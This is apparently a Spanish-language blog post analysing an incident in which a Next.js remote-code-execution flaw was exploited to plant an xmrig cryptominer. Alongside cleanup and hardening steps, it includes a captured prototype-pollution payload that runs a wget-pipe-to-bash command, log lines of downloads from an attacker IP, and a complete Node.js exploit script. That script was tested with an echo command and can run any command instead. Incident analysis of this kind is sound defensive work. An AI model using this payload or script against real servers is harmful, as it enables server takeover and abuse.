Tutoriales de VPS
[Análisis post-incidente] El susto del Remote Code Execution (RCE) en Next.js: registro completo de ataque y defensa, desde los registros anómalos de PM2 hasta el troyano de minería
Este artículo analiza en detalle un incidente de ataque de Remote Code Execution (RCE) contra un servidor Next.js. Mediante el análisis de los errores de PowerShell y los registros de descargas maliciosas con wget que aparecen en los registros de PM2, se confirma que el atacante explotó una vulnerabilidad de Server Actions o de Prototype Pollution (contaminación de prototipos) de Next.js (como CVE-2024-34351).
![[Análisis post-incidente] El susto del Remote Code Execution (RCE) en Next.js: registro completo de ataque y defensa, desde los registros anómalos de PM2 hasta el troyano de minería](/_next/image?url=https%3A%2F%2Fdirectus-vps.aimazing.site%2Fassets%2F91c19cb1-b3b3-4171-a1d3-f15c28289425.png&w=3840&q=75)
Palabras clave: Next.js, RCE, troyano de minería, respuesta a incidentes, seguridad web, contaminación de prototipos, CVE-2025-66478, CVE-2025-55182
La última vulnerabilidad de Next.js, CVE-2025-66478, se publicó el 3 de diciembre. Es una vulnerabilidad crítica, de nivel 10, que puede provocar que un servidor sea tomado con privilegios de root.
La forma del ataque es enviar (POST) un fragmento de datos al directorio raíz del dominio; tras ello, el atacante puede ejecutar comandos de forma remota, el servidor puede descargar y ejecutar programas automáticamente, lo que provoca la toma de control del servidor y otras consecuencias catastróficas.
La solución es actualizar lo antes posible a la versión correspondiente de Next.js.
Esta vulnerabilidad se ha resuelto por completo en las siguientes versiones corregidas de Next.js (cualquier versión distinta de estas es vulnerable al ataque):
- 15.0.5
- 15.1.9
- 15.2.6
- 15.3.6
- 15.4.8
- 15.5.7 (es decir, todas las versiones 15.5.x deben actualizarse a esta versión)
- 15.6.0-canary.58
- 16.0.7
Todo comenzó con una inspección rutinaria del servidor. Al revisar el estado de ejecución de PM2, un extraño registro de error me llamó la atención.
En los registros de error de PM2 del proyecto aparecieron numerosos errores de intentos de ejecutar comandos de Windows PowerShell, así como registros de intentos de descargar scripts externos:
2|app | 2025-12-05 12:12:51: /bin/sh: line 1: powershell: command not found
2|app | 2025-12-05 12:12:50: --2025-12-05 12:08:22-- (try:19) http://216.158.xxx.xx:12000/sex.sh
2|app | 2025-12-05 12:12:50: Connecting to 216.158.xxx.xx:12000... failed: Connection timed out.
-
No son solo errores: los registros muestran que el servidor está iniciando activamente conexiones salientes (
wget/curl), intentando descargar scripts maliciosos llamadossex.shosvchost(un archivo ELF camuflado en Linux). -
RCE confirmado: aunque Linux no tiene PowerShell, lo que provoca los errores, y el servidor nacional sufrió un tiempo de espera agotado en la descarga por motivos de red, esto demuestra que el atacante ya había ejecutado con éxito comandos arbitrarios en el servidor.
-
Desconcierto en el código: al revisar el código de negocio, todo el proyecto no usa
child_process.execnispawn, ni llama a comandos del sistema. ¿De dónde viene este comando?
Tras revisar primero mi propio código, descubrí que el código que había escrito no tenía ningún punto de entrada para ejecutar comandos; para averiguar cómo se ejecutaba el comando y quién lo ejecutaba en secreto, inserté un fragmento de código Monkey Patch (parche de mono) en el archivo de entrada del proyecto, secuestrando el método child_process.exec de la capa inferior de Node.js para imprimir la pila de llamadas.
Cuando el ataque volvió a ocurrir, los registros no capturaron la información clave; solo apareció este tipo de registro:
2025-12-05 14:05:24: /bin/sh: line 1: powershell: command not found
No se imprimió la pila de llamadas;
Buscando en los registros de nginx según el momento del ataque, cada vez encontré el registro de nginx correspondiente, por ejemplo este:
103.200.30.48 - - [05/Dec/2025:14:14:54 +0800] "POST / HTTP/1.1" 499 0 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" "-"
103.200.30.48 - - [05/Dec/2025:14:14:57 +0800] "POST / HTTP/1.1" 499 0 "-" "Mozilla/5.0 (Windows NT 11.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0" "-"
103.200.30.48 - - [05/Dec/2025:14:14:59 +0800] "POST / HTTP/1.1" 499 0 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" "-"
45.83.126.12 - - [05/Dec/2025:14:16:03 +0800] "GET / HTTP/1.1" 200 69457 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:128.0) Gecko/20100101 Firefox/128.0" "-"
Tomando esto como punto de partida, consulté a la IA para ver si existía un método de ataque similar, una vulnerabilidad en la que enviar (POST) un fragmento de datos al directorio raíz pudiera tomar el control del servidor. La IA encontró una vulnerabilidad de 2024, un ataque remoto RCE.
Posible método de ataque:
-
Punto de entrada del ataque: el atacante envió un payload malicioso al directorio raíz del sitio web
POST /. -
Explotación del mecanismo de Next.js: el atacante explotó el mecanismo de análisis de Next.js (Server Actions / Flight Protocol), o bien la contaminación de prototipos provocada por el objeto global
body-parser. -
Activación del RCE: el atacante construyó un objeto con un método
thenmalicioso (Thenable Object). Cuando Next.js intentó internamenteawaiteste objeto, se ejecutó el métodothenmalicioso, y el códigoevalque contenía (conexec) se activó de inmediato.
Payload de ataque capturado (características del protocolo Flight de Next.js):
JSON
{
"then": "$1:__proto__:then",
"value": "{\"then\":\"$B1337\"}",
"_response": {
"_prefix": "process.mainModule.require('child_process').exec('wget ... | bash')"
}
}
La IA, según las indicaciones, proporcionó un script de ataque; la prueba fue exitosa y el registro de pm2 imprimió correctamente el registro correspondiente, echo RCE_FINAL_VICTORY_TEST. El script concreto es el siguiente:
const http = require('http');
// 1. 定义核心 Payload (只执行 echo,无害)
const payload = {
then: "$1:__proto__:then",
status: "resolved_model",
reason: -1,
value: '{"then":"$B1337"}',
_response: {
// 这里是想要执行的命令
_prefix: "process.mainModule.require('child_process').exec('echo RCE_FINAL_VICTORY_TEST');",
_chunks: "$Q2",
_formData: { get: "$1:constructor:constructor" }
}
};
// 2. 手动构建 Multipart Body (模拟浏览器/攻击者行为)
// 注意:Next.js Flight 协议对换行符 \r\n 很敏感,这里手动拼接最稳妥
const boundary = "----WebKitFormBoundaryAttackTest";
const bodyParts = [
`--${boundary}`,
'Content-Disposition: form-data; name="1"',
'',
'"$@0"', // 注意这里的双引号,必须保留!这是导致你刚才报错的原因
`--${boundary}`,
'Content-Disposition: form-data; name="2"',
'',
'[]',
`--${boundary}`,
'Content-Disposition: form-data; name="0"',
'',
JSON.stringify(payload),
`--${boundary}--`,
''
].join('\r\n');
// 3. 发送请求
const options = {
hostname: '127.0.0.1',
port: 3000, // 直击后端端口,绕过 Nginx
path: '/',
method: 'POST',
headers: {
'Content-Type': `multipart/form-data; boundary=${boundary}`,
'Content-Length': Buffer.byteLength(bodyParts),
'Next-Action': 'any_string_works_here' // 触发 Action 逻辑
}
};
console.log('正在向 localhost:3000 发送攻击 Payload...');
const req = http.request(options, (res) => {
console.log(`服务器响应状态码: ${res.statusCode}`);
res.on('data', (d) => process.stdout.write(d));
});
req.on('error', (e) => {
console.error(`请求错误: ${e.message}`);
});
req.write(bodyParts);
req.end();
Este ataque afectó a varios servidores a mi nombre, con resultados completamente distintos.
-
Estado: no comprometidos.
-
Motivo: debido al entorno de red nacional especial, la IP de origen de descarga del atacante (
216.158...) no se podía conectar o la conexión agotaba el tiempo de espera. -
Comportamiento en los registros:
Connection timed out. Aunque el comando se ejecutó, el virus no se descargó, por lo que se salvó por poco.
De los 5 servidores en el extranjero, 2 quedaron completamente comprometidos. Como la red estaba despejada, el script del virus se descargó y ejecutó con éxito.
-
Síntomas: el uso de CPU se disparó y apareció un proceso llamado
xmrig. -
Minería confirmada:
Bash
/data/cv-ai/xmrig-6.24.0/xmrig --url pool.hashvault.pro:443 --user [黑客钱包地址] --pass next -
Puerta trasera de persistencia:
En los registros de PM2 se descubrió que el proceso de la aplicación creó un servicio del sistema:
Created symlink /etc/systemd/system/multi-user.target.wants/system-update-service.serviceEl hacker camufló el virus como
system-update-servicey lo configuró para que se iniciara al arrancar.
Para los servidores en el extranjero ya comprometidos, ejecuté los siguientes pasos de limpieza:
Bloquear directamente en la capa de Nginx las solicitudes POST dirigidas al directorio raíz, cortando el canal de RCE del atacante.
Nginx
log_format hacker_trap '$remote_addr - [$time_local] "$request" $status Body: "$request_body"';
# Nginx 配置
location = / {
# 如果是 POST 请求,记录并丢进黑洞
if ($request_method = POST) {
# 指定日志文件路径,并使用我们刚才定义的 hacker_trap 格式
access_log /var/log/nginx/hacker_attack.log hacker_trap;
# 关键点:转发给一个本地不存在的端口
# 这样 Nginx 会尝试读取 Body 用于转发,从而触发日志记录
proxy_pass http://127.0.0.1:9999;
break;
}
# 正常的 GET 请求继续走原来的路
proxy_pass http://127.0.0.1:3003;
# ... 其他 proxy header 配置 ...
proxy_set_header Host $host;
proxy_set_header X-Real-IP $remote_addr;
}
Registro del body del atacante

El virus creó servicios de Systemd para mantenerse activo, por lo que deben eliminarse con prioridad.
Bash
# 1. 停止并禁用服务
systemctl stop system-update-service
systemctl disable system-update-service
# 2. 删除服务文件
rm /etc/systemd/system/system-update-service.service
systemctl daemon-reload
Bash
# 1. 杀掉挖矿进程
pkill -9 -f xmrig
# 2. 删除病毒文件(根据 service 文件内容定位)
rm -rf /data/cv-ai/xmrig-6.24.0/
rm -rf /usr/bin/sys-update # 及其指向的启动脚本
-
Actualizar Next.js: actualizar las dependencias del proyecto a la última versión corregida; según el anuncio oficial de Next.js, parece que hay que actualizar cada versión menor a su última versión, por ejemplo, 15.4.x debe actualizarse a 15.4.8.
-
Limpiar dependencias: eliminar bibliotecas innecesarias como
body-parserque puedan provocar contaminación de prototipos. -
Ejecutar con privilegios reducidos: esta es la lección más dolorosa. Antes, para ahorrar esfuerzo, ejecutaba PM2 con el usuario root. Esto hacía que, tras obtener el RCE, el hacker tuviera directamente privilegios de root y pudiera crear servicios del sistema a voluntad. Posteriormente cambié a ejecutar el negocio con un usuario normal.
1. Revisar las claves SSH (puertas traseras)
Tras obtener el RCE, los hackers suelen escribir su propia clave pública en tu authorized_keys, para poder conectarse directamente por SSH sin necesidad de volver a explotar la vulnerabilidad.
Ver el archivo:
Bash
cat ~/.ssh/authorized_keys
Si encuentras una clave pública que no reconoces (normalmente empieza por ssh-rsa o ssh-ed25519, y puede terminar con caracteres ilegibles o un correo desconocido), ¡debes eliminarla de inmediato!
2. Revisar los mecanismos de "resurrección" (demonios/tareas programadas)
Los virus de minería suelen escribir tareas programadas, de modo que en cuanto matas el proceso, a los pocos segundos se reinicia automáticamente. Revisar Crontab:
crontab -l
Si ves alguna línea que contenga curl, wget, xmrig, base64 o una IP extraña, entra con crontab -e y bórrala.
Revisar los servicios de Systemd: algunos virus avanzados se registran como servicios del sistema.
systemctl list-units --type=service --state=running
Comprueba si hay servicios llamados c3pool, monero, miner u otros servicios anómalos. Si los hay:
systemctl stop [服务名]
systemctl disable [服务名]
rm /etc/systemd/system/[服务名].service
R: El desarrollo web moderno depende en gran medida de frameworks de terceros (como Next.js). Las vulnerabilidades a menudo no están en tu código de negocio, sino en los mecanismos de serialización/deserialización de la capa inferior del framework. El atacante utiliza datos especialmente construidos (payload) para engañar al framework y hacer que ejecute código JavaScript malicioso.
R: Este ataque explota los Server Actions o el mecanismo de enrutamiento interno de Next.js, y el punto de entrada predeterminado suele ser una solicitud POST a la página actual. Como mi página de inicio (/) es una página puramente de visualización y no necesita recibir datos POST, bloquear directamente las solicitudes POST en la capa de Nginx es la forma más rápida y eficaz de bloquearlo.
Actualización:
El método de ataque Post / es el más sencillo; es posible que el atacante cambie de método, por ejemplo así
85.11.167.3 - - [06/Dec/2025:07:20:26 +0800] "POST /_next/flight HTTP/1.1" 499 0 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:89.0) Gecko/20100101 Firefox/89.0" "-"
enviando datos a otros directorios inexistentes también se puede completar el ataque; la única solución es actualizar la versión de Next.js cuanto antes;
R:
-
Revisar los registros: si PM2 o la consola tienen registros de
Connection timed out(fallo de descarga) opowershell(error del script). Hay que fijarse principalmente en la salida de registros de Next.js de cada proyecto; no todos los atacantes muestran este comportamiento al atacar, algunos pueden descargar primero vim y luego hacer otras operaciones. -
Revisar los procesos: usar
topops -auxpara comprobar si hay procesos desconocidos con alto uso de CPU comoxmrig,kdevtmpfsi,sys-update. -
Revisar los servicios: comprobar si hay servicios sospechosos creados recientemente en
/etc/systemd/system/.
R:
-
Principio de mínimo privilegio: ¡nunca ejecutes aplicaciones Node.js con el usuario root! Si esta vez hubiera ejecutado con un usuario normal, el hacker no habría podido crear servicios de Systemd y el virus habría dejado de funcionar tras reiniciarse.
-
Mantenerse actualizado: presta atención a los avisos de seguridad de frameworks centrales como Next.js y actualiza a tiempo.
-
Defensa en profundidad: no dependas solo de la defensa a nivel de código. Las reglas WAF de Nginx (como prohibir determinados User-Agent y restringir los métodos de solicitud) son una primera línea de defensa sumamente importante.
R: Un SMS de alerta de Alibaba Cloud me avisó de que el servidor podría haber sufrido un ataque y me indicó el posible número de vulnerabilidad; consulté el blog oficial de Next.js y descubrí que esta vulnerabilidad aparece en varias versiones de Next.js.
R:
- Servicios añadidos para mantenerse activo,
Created symlink /etc/systemd/system/multi-user.target.wants/moneroocean_miner.service → /etc/systemd/system/moneroocean_miner.service.Created symlink /etc/systemd/system/multi-user.target.wants/system-update-service.service - Comandos ejecutados: /root/.local/share/.r0qsv8h1/.394ly8v9/bin/node /root/.local/share/.r0qsv8h1/.fvq2lzl64e.js /root/c3pool
- Manipulación de crontab, por ejemplo añadiendo esto:
@reboot sleep 30 && /root/.local/share/.r0qsv8h1/.394ly8v9/bin/node /root/.local/share/.r0qsv8h1/.fvq2lzl64e.js >/dev/null 2>&1 & - Uso de docker para minar
Uso del docker descargado para minar, ruta de ejecución
/tmp/docker-daemon
R: Según el anuncio de Cloudflare, todos los usuarios del plan gratuito de Cloudflare tienen habilitado por defecto el conjunto de reglas para esta vulnerabilidad, es decir, los usuarios del plan gratuito no tienen de qué preocuparse; Cloudflare bloqueará automáticamente este comportamiento de ataque;
Según he revisado en los registros de eventos de seguridad de Cloudflare, efectivamente es así.

No obstante, también hay que tener cuidado, ya que los métodos de ataque han cambiado, por ejemplo enviando datos POST a otras URL (/_next/flight) en lugar de a /.
Los usuarios de planes de pago deben desplegar manualmente este conjunto de reglas;